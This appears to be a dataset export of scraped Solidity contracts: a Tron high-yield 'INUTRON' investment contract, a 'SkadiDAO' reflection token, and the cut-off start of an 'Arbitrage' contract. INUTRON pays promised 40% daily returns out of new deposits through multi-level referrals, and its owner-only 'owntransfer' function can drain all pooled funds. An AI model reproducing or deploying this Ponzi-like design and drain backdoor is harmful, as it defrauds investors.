hash
stringlengths 64
64
| size
int64 7k
624k
| ext
stringclasses 1
value | lang
stringclasses 1
value | is_test
bool 2
classes | repo_id
stringclasses 846
values | repo_name
stringclasses 846
values | repo_head
stringclasses 846
values | repo_path
stringlengths 7
155
| content_tokens
int64 1.82k
42.6k
| content_chars
int64 6.85k
58.7k
| content
stringlengths 6.85k
58.7k
| __index_level_0__
int64 84
346k
| id
int64 0
14.2k
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
5a446b2dc8a755c61f7aef38aa1b00a8ef3e9e4ec0199dc0b3276188ad95fe50
| 19,354 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TJ/TJsSSzSb5JnmTTzm2K6TJbpfgW5GL75Vst_INUTRON.sol
| 5,016 | 17,959 |
//SourceUnit: Inutron.sol
pragma solidity 0.5.10;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Objects {
struct Investment {
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
}
struct Investor {
address addr;
uint256 checkpoint;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 reinvestWallet;
uint256 referrer;
uint256 planCount;
mapping(uint256 => Investment) plans;
uint256 level1RefAmount;
uint256 level2RefAmount;
uint256 level3RefAmount;
uint256 level4RefAmount;
uint256 investmentAmountTotal;
uint256 withdrawAmountTotal;
uint256 referrelAmountTotal;
}
}
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract INUTRON is Ownable {
using SafeMath for uint256;
uint256 public constant DEVELOPER_RATE = 7e6;
uint256 public constant MARKETING_RATE = 3e6;
uint256 public constant REFERENCE_RATE = 130;
uint256 public constant DIRECT_RATE = 100;
uint256 public constant CASHBACK_RATE = 50;
uint256 public constant REFERENCE_LEVEL1_RATE = 70;
uint256 public constant REFERENCE_LEVEL2_RATE = 30;
uint256 public constant REFERENCE_LEVEL3_RATE = 20;
uint256 public constant REFERENCE_LEVEL4_RATE = 10;
uint256 public constant MINIMUM = 100e6;
uint256 public constant REFERRER_CODE = 1000;
uint256 public constant PLAN_INTEREST = 400;
uint256 public constant PLAN_TERM = 300 hours;
uint256 public constant LAST_PLAN_TERM = 180 hours;
uint256 public constant CONTRACT_LIMIT = 750;
uint256 public contract_balance;
uint256 private contract_checkpoint;
uint256 public latestReferrerCode;
uint256 public totalInvestments_;
uint256 public totalReinvestments_;
address payable private developerAccount_;
address payable private marketingAccount_;
address payable private ref1addr;
address payable private ref2addr;
address payable private ref3addr;
address payable private ref4addr;
mapping(address => uint256) public address2UID;
mapping(uint256 => Objects.Investor) public uid2Investor;
event onInvest(address investor, uint256 amount);
event onReinvest(address investor, uint256 amount);
event onWithdraw(address investor, uint256 amount);
constructor() public {
developerAccount_ = msg.sender;
marketingAccount_ = msg.sender;
_init();
}
function _init() private {
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
}
function setMarketingAccount(address payable _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketingAccount_ = _newMarketingAccount;
}
function getMarketingAccount() public view onlyOwner returns (address) {
return marketingAccount_;
}
function setDeveloperAccount(address payable _newDeveloperAccount) public onlyOwner {
require(_newDeveloperAccount != address(0));
developerAccount_ = _newDeveloperAccount;
}
function getDeveloperAccount() public view onlyOwner returns (address) {
return developerAccount_;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
function getInvestorInfoByUID(uint256 _uid) public view returns (uint256,uint256,uint256,uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (block.timestamp >= investor.plans[i].investmentDate.add(PLAN_TERM)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST, investor.plans[i].investmentDate.add(PLAN_TERM), investor.plans[i].lastWithdrawalDate);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
}
}
return
(investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.reinvestWallet,
investor.referrer,
investor.level1RefAmount,
investor.level2RefAmount,
investor.level3RefAmount,
investor.level4RefAmount,
investor.planCount,
investor.checkpoint,
investor.investmentAmountTotal,
newDividends);
}
function getInvestorInfoByUID2(uint256 _uid) public view returns (uint256,uint256) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (block.timestamp >= investor.plans[i].investmentDate.add(PLAN_TERM)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST, investor.plans[i].investmentDate.add(PLAN_TERM), investor.plans[i].lastWithdrawalDate);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
}
}
return
(investor.referrerEarnings,
investor.withdrawAmountTotal);
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, bool[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate!=0,"wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
} else {
isExpireds[i] = false;
if (PLAN_TERM > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(PLAN_TERM)) {
isExpireds[i] = true;
}
}
}
}
return
(investmentDates,
investments,
currentDividends,
isExpireds);
}
function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) {
if (_referrerCode >= REFERRER_CODE) {
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = 0;
}
} else {
_referrerCode = 0;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
address2UID[addr] = latestReferrerCode;
uid2Investor[latestReferrerCode].checkpoint = block.timestamp;
uid2Investor[latestReferrerCode].addr = addr;
uid2Investor[latestReferrerCode].referrer = _referrerCode;
uid2Investor[latestReferrerCode].planCount = 0;
return (latestReferrerCode);
}
function _invest(address _addr, uint256 _referrerCode, uint256 _amount) private returns (bool) {
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
uint8 newusr=0;
if (uid == 0) {
newusr=1;
uid = _addInvestor(_addr, _referrerCode);
//new user
} else {
//old user
//do nothing, referrer is permenant
}
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount.sub(DEVELOPER_RATE);
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
investor.investmentAmountTotal = investor.investmentAmountTotal.add((_amount.sub(DEVELOPER_RATE)));
if (newusr ==0){
_calculateReferrerReward(_amount, investor.referrer);
}else{
_calculateReferrerReward_first(_amount, investor.referrer);
}
totalInvestments_ = totalInvestments_.add(_amount.sub(DEVELOPER_RATE));
uint256 developerPercentage = (DEVELOPER_RATE);
developerAccount_.transfer(developerPercentage);
return true;
}
function invest(uint256 _referrerCode) public payable {
if (_invest(msg.sender, _referrerCode, msg.value)) {
emit onInvest(msg.sender, msg.value);
}
}
function owntransfer(uint256 _amt) public onlyOwner returns(bool transfterBool){
require(msg.sender == owner,'Only owner perform this action');
owner.call.value(_amt)("");
return true;
}
function withdraw() public {
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not withdraw because no any investments");
require(block.timestamp > uid2Investor[uid].checkpoint + 1 days , "Once per day only allowed");
uid2Investor[uid].checkpoint = block.timestamp;
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
if(i==(uid2Investor[uid].planCount-1)){
uint256 max_allowed_time =uid2Investor[uid].plans[i].investmentDate.add(LAST_PLAN_TERM);
if(block.timestamp>max_allowed_time){
withdrawalDate = max_allowed_time;
}
}
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(PLAN_TERM);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , PLAN_INTEREST , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
if(withdrawalAmount>0){
uint256 currentBalance = getBalance();
if(withdrawalAmount >= currentBalance){
withdrawalAmount=currentBalance;
}
require(currentBalance.sub(withdrawalAmount) >= contract_balance.mul(CONTRACT_LIMIT).div(1000), "75% contract balance limit");
uid2Investor[uid].withdrawAmountTotal = uid2Investor[uid].withdrawAmountTotal.add(withdrawalAmount);
msg.sender.transfer(withdrawalAmount.sub(MARKETING_RATE));
uint256 marketingPercentage = (MARKETING_RATE);
marketingAccount_.transfer(marketingPercentage);
}
emit onWithdraw(msg.sender, withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start) private pure returns (uint256) {
return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24);
}
function _calculateReferrerReward(uint256 _investment, uint256 _referrerCode) private {
uint256 _investment2 = _investment.sub(DEVELOPER_RATE);
uint256 _allReferrerAmount = (_investment2.mul(REFERENCE_RATE)).div(1000);
uint256 _cashbackAmount = (_investment2.mul(CASHBACK_RATE)).div(1000);
msg.sender.transfer(_cashbackAmount);
if (_referrerCode != 0) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uint256 _ref4 = uid2Investor[_ref3].referrer;
uint256 _refAmount = 0;
if (_ref1 != 0) {
_refAmount = (_investment2.mul(REFERENCE_LEVEL1_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref1].level1RefAmount = _refAmount.add(uid2Investor[_ref1].level1RefAmount);
Objects.Investor storage investor = uid2Investor[_ref1];
ref1addr = address(uint160(investor.addr));
ref1addr.transfer(_refAmount);
}
if (_ref2 != 0) {
_refAmount = (_investment2.mul(REFERENCE_LEVEL2_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref2].level2RefAmount = _refAmount.add(uid2Investor[_ref2].level2RefAmount);
Objects.Investor storage investor = uid2Investor[_ref2];
ref2addr = address(uint160(investor.addr));
ref2addr.transfer(_refAmount);
}
if (_ref3 != 0) {
_refAmount = (_investment2.mul(REFERENCE_LEVEL3_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref3].level3RefAmount = _refAmount.add(uid2Investor[_ref3].level3RefAmount);
Objects.Investor storage investor = uid2Investor[_ref3];
ref3addr = address(uint160(investor.addr));
ref3addr.transfer(_refAmount);
}
if (_ref4 != 0) {
_refAmount = (_investment2.mul(REFERENCE_LEVEL4_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref4].level4RefAmount = _refAmount.add(uid2Investor[_ref4].level4RefAmount);
Objects.Investor storage investor = uid2Investor[_ref4];
ref4addr = address(uint160(investor.addr));
ref4addr.transfer(_refAmount);
}
}
}
function _calculateReferrerReward_first(uint256 _investment, uint256 _referrerCode) private {
uint256 _investment2 = _investment.sub(DEVELOPER_RATE);
uint256 _allReferrerAmount = (_investment2.mul(DIRECT_RATE)).div(1000);
if (_referrerCode != 0) {
uint256 _ref1 = _referrerCode;
uint256 _refAmount = 0;
if (_ref1 != 0) {
_refAmount = (_investment2.mul(DIRECT_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref1].referrerEarnings = _refAmount.add(uid2Investor[_ref1].referrerEarnings);
uid2Investor[_ref1].referrelAmountTotal = _refAmount.add(uid2Investor[_ref1].referrelAmountTotal);
Objects.Investor storage investor = uid2Investor[_ref1];
ref1addr = address(uint160(investor.addr));
ref1addr.transfer(_refAmount);
}
}
}
function updateBalance() public {
require(block.timestamp > contract_checkpoint + 1 days , "Only once a day");
contract_checkpoint = block.timestamp;
contract_balance = getBalance();
}
function getHour() public view returns (uint8){
return uint8((block.timestamp / 60 / 60) % 24);
}
function withdrawAllowance() public view returns(bool){
uint8 hour = getHour();
if(hour >= 0 && hour <= 3){
return false;
}
else{
return true;
}
}
}
| 291,697 | 1,700 |
e4a38c0ab5df501c0df5b27c9fb7e8d1cc575958bc93b9e547d8845a14a6fb11
| 29,584 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/c7/c7711a9b7db383ee0832f5c04b86e1ffb45f61e9_SkadiDAO.sol
| 5,248 | 18,787 |
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SkadiDAO is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10**5 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private _name = 'NORD';
string private _symbol = 'SKADI';
uint8 private _decimals = 18;
uint256 private _taxFee = 0;
uint256 private _burnFee = 5;
uint256 private _maxTxAmount = 10**5 * 10**18;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function taxFee() public view returns (uint256) {
return _taxFee;
}
function burnFee() public view returns (uint256) {
return _burnFee;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total Tester3");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xD3ce6898eC2252713F96FC21921cEBfca27501d2, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++)
transfer(receivers[i], amounts[i]);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tBurn = tAmount.mul(burnFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() public view returns(uint256) {
return _maxTxAmount;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 0 && taxFee <= 10, 'taxFee should be in 0 - 10');
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
require(burnFee >= 0 && burnFee <= 10, 'burnFee should be in 0 - 10');
_burnFee = burnFee;
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= 0 , 'maxTxAmount should be greater than 0');
_maxTxAmount = maxTxAmount;
}
}
| 96,556 | 1,701 |
f7ef8d075f978a83e24b52daa70d49f561c65584dc924eed26d2cd277fcddea1
| 22,245 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/ca/ca38c12875e0c729e62f62b5cbfb83993497b464_Arbitrage.sol
| 4,496 | 17,308 |
// SPDX-License-Identifier: None
pragma solidity ^0.6.6;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
